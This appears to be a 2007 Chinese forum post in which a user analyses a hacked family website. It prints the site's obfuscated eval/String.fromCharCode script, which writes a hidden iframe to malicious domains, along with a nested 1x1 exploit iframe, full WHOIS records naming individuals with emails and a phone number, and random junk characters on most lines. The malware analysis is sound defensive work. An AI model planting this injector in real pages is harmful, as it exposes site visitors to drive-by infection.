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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 1WA""yb  
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http://www.areway.cn/?p=175 Q&U= jX  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: :R|2z`b!  
          r<f-v_bxF  
<script>t=’60,105,102,114,97,109,101, ~E:/oV:4 >  
32,115,114,99,61,104,116,116,112,58,47,47, i7w}`vs  
102,114,101,101,46,117,45,117,117,117,46,99, 3bI|X!j  
110,47,101,114,114,111,114,46,104,116,109,  k9VQ6A  
32,119,105,100,116,104,61,49,48,48,32,104, 0wE8Gm G  
101,105,103,104,116,61,48,62,60,47,105,102, cdU >iB,  
114,97,109,101,62′; N(({2'Rr  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> r{:la56Xd  
                                                                                                  0\ytBxL  
<script>t=’60,105,102,114,97,109,101,32,115, bl=*3qB  
114,99,61,104,116,116,112,58,47,47,102,114, MgK(gL/&[  
101,101,46,117,45,117,117,117,46,99,110,47, [#@p{[?r  
101,114,114,111,114,46,104,116,109,32,119, a~N)qYL:  
105,100,116,104,61,49,48,48,32,104,101,105, }"; hz*a  
103,104,116,61,48,62,60,47,105,102,114,97, GL0':LsZ  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); { G>+.  
document.write(t);</script> },QFyT  
                                                                                                  iNrmhiql  
<html xmlns=” }-]s#^'w  
http://www.w3.org/1999/xhtml TXk"[>,:H  
“> UNH}*]u4`  
<head> K v>#  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> z )}wo3  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 8'_ ]gfF  
<title>首页 - 爱生活家庭网 VTX'f2\  
                                                                                                                                                    ,vY I O  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 u #QSa$P  
转换字符串后的大概内容是(谁点击后果自付): [?r\b  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 1MzB?[gx  
                                                                                                                                  ah@GSu;7  
查询玉米u-uuu.cn的详细信息: WE8L?55_Au  
Domain Name: u-uuu.cn Z(`K6`KM  
ROID: 20070901s10001s64972306-cn Z_ *ZUN?B  
Domain Status: ok Z YO/'YW  
Registrant Organization: 王雷 _q!ck0_  
Registrant Name: 王雷 ^~k FC/tQ  
Administrative Email: czlovexs@126.com "@<g'T0  
Sponsoring Registrar: 北京万网志成科技有限公司 /)<7$  
Name Server:ns.yovole.com 0BwQ!B.  
Name Server:ns1.yovole.com @m d^mss  
Registration Date: 2007-09-01 17:54 w\Eve:  
Expiration Date: 2008-09-01 17:54 'A@Oia1;{  
最后PING了一下地址 都没有什么…. C g,w6<7  
                                                                                                o>k-~v7  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套.  u^eC  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> _"e( ^yiK  
<script language=”javascript” src=” _xwfz]lb+  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script <qj@waKw4  
> cngPc]?N  
这个玉米应该有可能是木马作者的: K>p:?w  
foafau.info的详细信息: Fl(ZKpSZU  
Access to INFO WHOIS information is provided to assist persons in 5TW<1'u  
determining the contents of a domain name registration record in the k/rkJ|i+p  
Afilias registry database. The data in this record is provided by {}gk4 xr  
Afilias Limited for informational purposes only, and Afilias does not :QY9pT  
guarantee its accuracy.  This service is intended only for query-based fHp#Gi3Lz  
access. You agree that you will use this data only for lawful purposes \Hx#p`B%  
and that, under no circumstances will you use this data to: (a) allow, sy#j+gZ   
enable, or otherwise support the transmission by e-mail, telephone, or ~CTRPH   
facsimile of mass unsolicited, commercial advertising or solicitations Yy:sZJ  
to entities other than the data recipient’s own existing customers; or = |zyi|  
(b) enable high volume, automated, electronic processes that send )$.9Wl Q  
queries or data to the systems of Registry Operator, a Registrar, or Y7I  
Afilias except as reasonably necessary to register domain names or :z5I bas:  
modify existing registrations. All rights reserved. Afilias reserves =:}DD0o*  
the right to modify these terms at any time. By submitting this query, +[nYu)puP  
you agree to abide by this policy. CZno2$8@e  
Domain ID:D22418703-LRMS O*"wQ50Ou  
Domain Name:FOAFAU.INFO o~N-x*   
Created On:20-Nov-2007 16:05:42 UTC `-e}:9~q  
Last Updated On:20-Nov-2007 16:05:44 UTC `)_FO]m}jS  
Expiration Date:20-Nov-2008 16:05:42 UTC Z s!q#qM  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) p+1B6j  
Status:CLIENT DELETE PROHIBITED H0Xda.Y(  
Status:CLIENT RENEW PROHIBITED sSb&r  
Status:CLIENT TRANSFER PROHIBITED g}`CdVQ2M<  
Status:CLIENT UPDATE PROHIBITED RR {9  
Status:TRANSFER PROHIBITED 2MrR|hLx  
Registrant ID:GODA-040110615 fC:\Gh5  
Registrant Name:liu hong BiAcjN:Z  
Registrant Organization:  ]@ 0V  
Registrant Street1:beijing #3jZ7RqzQ  
Registrant Street2: HUX+d4sg  
Registrant Street3: 'n`$c{N<tM  
Registrant City:beijing , Vr6  
Registrant State/Province: w0OK. fj  
Registrant Postal Code:100000 obkv ]~  
Registrant Country:CN (.t:sn"P  
Registrant Phone:+86.860108888777 }{PtQc6RL!  
Registrant Phone Ext.: h.%Qn vL  
Registrant FAX: vYun^(_-  
Registrant FAX Ext.: ^8t*WphZC  
Registrant Email:bbbshiji@163.com #!<s& f|O  
Admin ID:GODA-240110615 A}}t86T  
Admin Name:liu hong Cf 8 - %  
Admin Organization: V#FLxITk  
Admin Street1:beijing #rC+13  
Admin Street2: P=i |{vv(  
Admin Street3: l)eaIOyk  
Admin City:beijing ZACn_gd[5  
Admin State/Province: K1yM'6 Zw  
Admin Postal Code:100000 xpo}YF'5  
Admin Country:CN jF0BWPL  
Admin Phone:+86.860108888777 -Euy5Y  
Admin Phone Ext.: +4RaN`I  
Admin FAX: <AXYqH7%A  
Admin FAX Ext.: 2^j9m}`  
Admin Email:bbbshiji@163.com +w/o  
Billing ID:GODA-340110615 Zz ?y&T  
Billing Name:liu hong XBBRB<l)  
Billing Organization: TMs\#  
Billing Street1:beijing ?Io2lFvI@Y  
Billing Street2: L 3Iz]D3s  
Billing Street3: =swcmab;  
Billing City:beijing Lf<9GYNy>`  
Billing State/Province: V)@scB|>,  
Billing Postal Code:100000 N($]))~3&  
Billing Country:CN ?q6eV~P  
Billing Phone:+86.860108888777 9]9(o  
Billing Phone Ext.: *]k"H`JoFC  
Billing FAX: &wvv5Vd  
Billing FAX Ext.: AY]nc# zz  
Billing Email:bbbshiji@163.com 79fg%cSb  
Tech ID:GODA-140110615 +{*&I DW  
Tech Name:liu hong kE|#mI[>  
Tech Organization: ot6 P q}  
Tech Street1:beijing 3Pq)RD|hn  
Tech Street2: a&PZ7!PZv  
Tech Street3: :H 7 "W<  
Tech City:beijing b s*Z{R  
Tech State/Province: %?y`_~G  
Tech Postal Code:100000 {hR23eE)#  
Tech Country:CN \/G Y0s  
Tech Phone:+86.860108888777 ld6@&34  
Tech Phone Ext.: EORAx  
Tech FAX: 8t"DQ Y-R  
Tech FAX Ext.: WNi<|A#T{  
Tech Email:bbbshiji@163.com  #pK)  
Name Server:NS27.DOMAINCONTROL.COM Sn,z$-;h;  
Name Server:NS28.DOMAINCONTROL.COM F3'G9Xf8Q=  
Name Server: (x!bZ,fu  
Name Server: {,X(fJ  
Name Server: sa ?;D  
Name Server: >skS`/6  
Name Server: wm4e:&  
Name Server: E{B<}n|}&  
Name Server: C?J%^?v  
Name Server: .})8gL7 V  
Name Server: %(6WrE5F6  
Name Server: _X/`4 G  
Name Server: z@j&vW  
                                                                                                          }8e %s;C  
接着下载每个文件里面的代码: : Dlk `?  
一步一步看.. '{~ ej:  
v|z1nD!?]  
,%^0 4sl  
)}v2Z3:  
+ u+fEg/A  
x(~l[hT  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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